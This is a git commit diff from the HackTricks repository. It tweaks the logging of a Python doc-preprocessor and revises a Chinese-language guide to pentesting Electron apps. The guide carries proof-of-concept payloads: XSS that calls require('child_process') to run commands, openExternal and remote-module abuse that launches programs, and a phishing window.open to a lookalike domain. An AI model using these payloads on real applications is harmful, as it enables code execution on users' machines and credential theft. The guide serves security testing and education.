mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
7575366081
commit
6046556206
1
.gitignore
vendored
1
.gitignore
vendored
@ -10,3 +10,4 @@ scripts/*
|
|||||||
book
|
book
|
||||||
book/*
|
book/*
|
||||||
hacktricks-preprocessor.log
|
hacktricks-preprocessor.log
|
||||||
|
hacktricks-preprocessor-error.log
|
||||||
|
|||||||
@ -7,7 +7,14 @@ from os import path
|
|||||||
from urllib.request import urlopen, Request
|
from urllib.request import urlopen, Request
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
|
logger.setLevel(logging.DEBUG)
|
||||||
|
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
|
||||||
|
handler.setLevel(logging.DEBUG)
|
||||||
|
logger.addHandler(handler)
|
||||||
|
|
||||||
|
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
|
||||||
|
handler2.setLevel(logging.ERROR)
|
||||||
|
logger.addHandler(handler2)
|
||||||
|
|
||||||
|
|
||||||
def findtitle(search ,obj, key, path=(),):
|
def findtitle(search ,obj, key, path=(),):
|
||||||
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
|
|||||||
|
|
||||||
|
|
||||||
def ref(matchobj):
|
def ref(matchobj):
|
||||||
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
|
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
|
||||||
href = matchobj.groups(0)[0].strip()
|
href = matchobj.groups(0)[0].strip()
|
||||||
title = href
|
title = href
|
||||||
if href.startswith("http://") or href.startswith("https://"):
|
if href.startswith("http://") or href.startswith("https://"):
|
||||||
@ -45,6 +52,11 @@ def ref(matchobj):
|
|||||||
try:
|
try:
|
||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
|
if "#" in href:
|
||||||
|
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
chapter, _path = findtitle(href, book, "source_path")
|
chapter, _path = findtitle(href, book, "source_path")
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
title = chapter['name']
|
title = chapter['name']
|
||||||
@ -52,12 +64,17 @@ def ref(matchobj):
|
|||||||
try:
|
try:
|
||||||
dir = path.dirname(current_chapter['source_path'])
|
dir = path.dirname(current_chapter['source_path'])
|
||||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
if "#" in href:
|
||||||
|
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
|
title = chapter["name"]
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
title = chapter['name']
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
logger.debug(e)
|
||||||
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
@ -69,6 +86,7 @@ def ref(matchobj):
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def files(matchobj):
|
def files(matchobj):
|
||||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||||
href = matchobj.groups(0)[0].strip()
|
href = matchobj.groups(0)[0].strip()
|
||||||
@ -76,19 +94,19 @@ def files(matchobj):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||||
|
logger.debug(root)
|
||||||
|
logger.debug(files)
|
||||||
if href in files:
|
if href in files:
|
||||||
title = href
|
title = href
|
||||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.debug(f'Error searching file: {href}')
|
logger.error(f'Error searching file: {href}')
|
||||||
print(f'Error searching file: {href}')
|
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if title=="":
|
if title=="":
|
||||||
logger.debug(f'Error searching file: {href}')
|
logger.error(f'Error searching file: {href}')
|
||||||
print(f'Error searching file: {href}')
|
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||||
@ -97,6 +115,7 @@ def files(matchobj):
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def add_read_time(content):
|
def add_read_time(content):
|
||||||
regex = r'(<\/style>\n# .*(?=\n))'
|
regex = r'(<\/style>\n# .*(?=\n))'
|
||||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||||
@ -126,15 +145,15 @@ if __name__ == '__main__':
|
|||||||
context, book = json.load(sys.stdin)
|
context, book = json.load(sys.stdin)
|
||||||
|
|
||||||
logger.debug(f"Context: {context}")
|
logger.debug(f"Context: {context}")
|
||||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
|
||||||
|
|
||||||
for chapter in iterate_chapters(book['sections']):
|
for chapter in iterate_chapters(book['sections']):
|
||||||
logger.debug(f"Chapter: {chapter['path']}")
|
logger.debug(f"Chapter: {chapter['path']}")
|
||||||
current_chapter = chapter
|
current_chapter = chapter
|
||||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||||
|
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||||
new_content = re.sub(regex, ref, chapter['content'])
|
new_content = re.sub(regex, ref, chapter['content'])
|
||||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||||
new_content = re.sub(regex, files, chapter['content'])
|
new_content = re.sub(regex, files, new_content)
|
||||||
new_content = add_read_time(new_content)
|
new_content = add_read_time(new_content)
|
||||||
chapter['content'] = new_content
|
chapter['content'] = new_content
|
||||||
|
|
||||||
|
|||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
|
Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
|
||||||
|
|
||||||
通常,您可能会在`.asar`应用程序中找到electron应用程序代码,获取代码需要提取它:
|
通常,您可能会在`.asar`应用程序中找到electron应用代码,获取代码需要提取它:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file
|
|||||||
Electron 有 2 种进程类型:
|
Electron 有 2 种进程类型:
|
||||||
|
|
||||||
- 主进程(完全访问 NodeJS)
|
- 主进程(完全访问 NodeJS)
|
||||||
- 渲染进程(出于安全原因,应该限制 NodeJS 的访问)
|
- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -32,15 +32,15 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中进行 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。
|
设置 **renderer process** 可以在 **main process** 的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。
|
||||||
|
|
||||||
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
|
Electron 应用程序 **可以通过 Node API 访问设备**,尽管可以配置以防止它:
|
||||||
|
|
||||||
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 特性。
|
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 Node 特性。
|
||||||
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。
|
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。
|
||||||
- **`preload`** - 默认情况下为空。
|
- **`preload`** - 默认情况下为空。
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
|
||||||
- 工作线程中的 Node 集成
|
- Node Integration in Workers
|
||||||
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`。
|
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`。
|
||||||
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframe 中的网页** 使用 **Node.js APIs**。
|
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframe 中的网页** 使用 **Node.js APIs**。
|
||||||
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
|
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
|
||||||
@ -71,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
一些 **RCE payloads** 来自 [这里](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:
|
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用程序的方法是:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -161,7 +161,7 @@ _**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代
|
|||||||
3. **触发** 使用 **被覆盖的函数**
|
3. **触发** 使用 **被覆盖的函数**
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
|
有两个地方可以覆盖内置方法:在预加载代码中或在 Electron 内部代码中:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
electron-contextisolation-rce-via-preload-code.md
|
electron-contextisolation-rce-via-preload-code.md
|
||||||
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
|
|||||||
|
|
||||||
### 绕过点击事件
|
### 绕过点击事件
|
||||||
|
|
||||||
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
|
如果在点击链接时施加了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
@ -185,9 +185,9 @@ window.addEventListener('click', (e) => {
|
|||||||
|
|
||||||
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时得到了有效防止。
|
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。
|
||||||
|
|
||||||
当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
|
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
@ -200,7 +200,9 @@ webContents.on("will-navigate", function (event, url) {}
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能会触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。
|
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。
|
||||||
|
|
||||||
|
在macos中,`openExternal`函数可以被利用来执行任意命令,例如`shell.openExternal('file:///System/Applications/Calculator.app')`。
|
||||||
|
|
||||||
**Windows协议漏洞的示例包括:**
|
**Windows协议漏洞的示例包括:**
|
||||||
```html
|
```html
|
||||||
@ -246,38 +248,126 @@ frames[0].document.body.innerText
|
|||||||
```
|
```
|
||||||
## **RCE: XSS + 旧版 Chromium**
|
## **RCE: XSS + 旧版 Chromium**
|
||||||
|
|
||||||
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
|
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的** **漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
|
||||||
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **通过内部 URL 正则表达式绕过进行 XSS 钓鱼**
|
## **通过内部 URL 正则表达式绕过进行 XSS 钓鱼**
|
||||||
|
|
||||||
假设您发现了一个 XSS,但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**。
|
假设您发现了一个 XSS,但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**。
|
||||||
|
|
||||||
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
|
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
```
|
```
|
||||||
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
|
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
|
||||||
|
|
||||||
如果该函数使用的**regex**对绕过**漏洞**(例如**未转义子域的点**)是**脆弱的**,攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**:
|
如果该函数使用的**regex**对绕过**漏洞**(例如**未转义子域的点**)是**脆弱的**,攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**要求用户提供凭据**:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
## Remote module
|
||||||
|
|
||||||
|
Electron Remote模块允许**渲染进程访问主进程API**,促进Electron应用程序内的通信。然而,启用此模块会引入显著的安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本(XSS)攻击等漏洞的影响。
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> 尽管**remote**模块将一些API从主进程暴露给渲染进程,但仅仅通过滥用组件并不容易获得RCE。然而,这些组件可能会暴露敏感信息。
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> 许多仍然使用remote模块的应用程序以**需要在渲染进程中启用NodeIntegration**的方式进行,这是一种**巨大的安全风险**。
|
||||||
|
|
||||||
|
自Electron 14以来,由于安全和性能原因,Electron的`remote`模块可能在多个步骤中启用,因此**建议不要使用它**。
|
||||||
|
|
||||||
|
要启用它,首先需要**在主进程中启用它**:
|
||||||
|
```javascript
|
||||||
|
const remoteMain = require('@electron/remote/main')
|
||||||
|
remoteMain.initialize()
|
||||||
|
[...]
|
||||||
|
function createMainWindow() {
|
||||||
|
mainWindow = new BrowserWindow({
|
||||||
|
[...]
|
||||||
|
})
|
||||||
|
remoteMain.enable(mainWindow.webContents)
|
||||||
|
```
|
||||||
|
然后,渲染进程可以从模块中导入对象,例如:
|
||||||
|
```javascript
|
||||||
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
|
```
|
||||||
|
该**[博客文章](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**指出了远程模块中对象**`app`**暴露的一些有趣的**函数**:
|
||||||
|
|
||||||
|
- **`app.relaunch([options])`**
|
||||||
|
- **重新启动**应用程序,通过**退出**当前实例并**启动**一个新实例。对于**应用更新**或重大**状态变化**非常有用。
|
||||||
|
- **`app.setAppLogsPath([path])`**
|
||||||
|
- **定义**或**创建**一个目录以存储**应用日志**。可以使用**`app.getPath()`**或**`app.setPath(pathName, newPath)`**来**检索**或**修改**日志。
|
||||||
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
|
- **注册**当前可执行文件作为指定**协议**的**默认处理程序**。如有需要,可以提供**自定义路径**和**参数**。
|
||||||
|
- **`app.setUserTasks(tasks)`**
|
||||||
|
- **添加**任务到**任务类别**中(在Windows上)。每个任务可以控制应用程序如何**启动**或传递什么**参数**。
|
||||||
|
- **`app.importCertificate(options, callback)`**
|
||||||
|
- **将**一个**PKCS#12证书**导入系统的**证书存储**(仅限Linux)。可以使用**回调**来处理结果。
|
||||||
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
|
- **将**应用程序移动到**应用程序文件夹**(在macOS上)。有助于确保Mac用户的**标准安装**。
|
||||||
|
- **`app.setJumpList(categories)`**
|
||||||
|
- **设置**或**移除****自定义Jump List**(在Windows上)。可以指定**类别**以组织任务如何呈现给用户。
|
||||||
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
|
- **配置**在**登录**时启动的**可执行文件**及其**选项**(仅限macOS和Windows)。
|
||||||
|
```javascript
|
||||||
|
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||||
|
Native.app.exit()
|
||||||
|
```
|
||||||
|
## systemPreferences 模块
|
||||||
|
|
||||||
|
在 Electron 中访问系统偏好设置和发出系统事件的 **主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的函数都是该模块的 **一部分**。
|
||||||
|
|
||||||
|
**示例用法:**
|
||||||
|
```javascript
|
||||||
|
const { systemPreferences } = require('electron');
|
||||||
|
|
||||||
|
// Subscribe to a specific notification
|
||||||
|
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
|
||||||
|
console.log('Received custom notification:', userInfo);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Get a user default key from macOS
|
||||||
|
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
|
||||||
|
console.log('Recent Places:', recentPlaces);
|
||||||
|
```
|
||||||
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
|
* **监听** **本机 macOS 通知**,使用 NSDistributedNotificationCenter。
|
||||||
|
* 在 **macOS Catalina** 之前,您可以通过将 **nil** 传递给 CFNotificationCenterAddObserver 来嗅探 **所有** 分发的通知。
|
||||||
|
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** **许多事件**(例如,**屏幕锁定/解锁**、**卷挂载**、**网络活动**等)。
|
||||||
|
|
||||||
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
|
* **与** **NSUserDefaults** 交互,存储 **应用程序** 或 **全局** 偏好设置在 macOS 上。
|
||||||
|
|
||||||
|
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近的文件位置** 或 **用户的地理位置**。
|
||||||
|
|
||||||
|
* **setUserDefault** 可以 **修改** 这些偏好设置,可能会影响应用的 **配置**。
|
||||||
|
|
||||||
|
* 在 **较旧的 Electron 版本**(v8.3.0 之前),只有 **标准套件** 的 NSUserDefaults 是 **可访问的**。
|
||||||
|
|
||||||
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
|
此函数在文件管理器中显示给定文件,这 **可能会自动执行该文件**。
|
||||||
|
|
||||||
|
有关更多信息,请查看 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## **工具**
|
## **工具**
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别基于 Electron 的应用程序中的错误配置和安全反模式的工具。
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个识别 Electron 应用程序中的错误配置和安全反模式的工具。
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
|
||||||
- [**Electro.ng**](https://electro.ng/): 你需要购买它
|
- [**Electro.ng**](https://electro.ng/): 您需要购买它
|
||||||
|
|
||||||
## 实验室
|
## 实验室
|
||||||
|
|
||||||
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 中,你可以找到一个利用易受攻击的 Electron 应用程序的实验室。
|
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 中,您可以找到一个实验来利用易受攻击的 Electron 应用程序。
|
||||||
|
|
||||||
一些将帮助你进行实验室的命令:
|
一些将帮助您完成实验的命令:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -309,5 +399,6 @@ npm start
|
|||||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||||
- 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
- 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||||
|
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user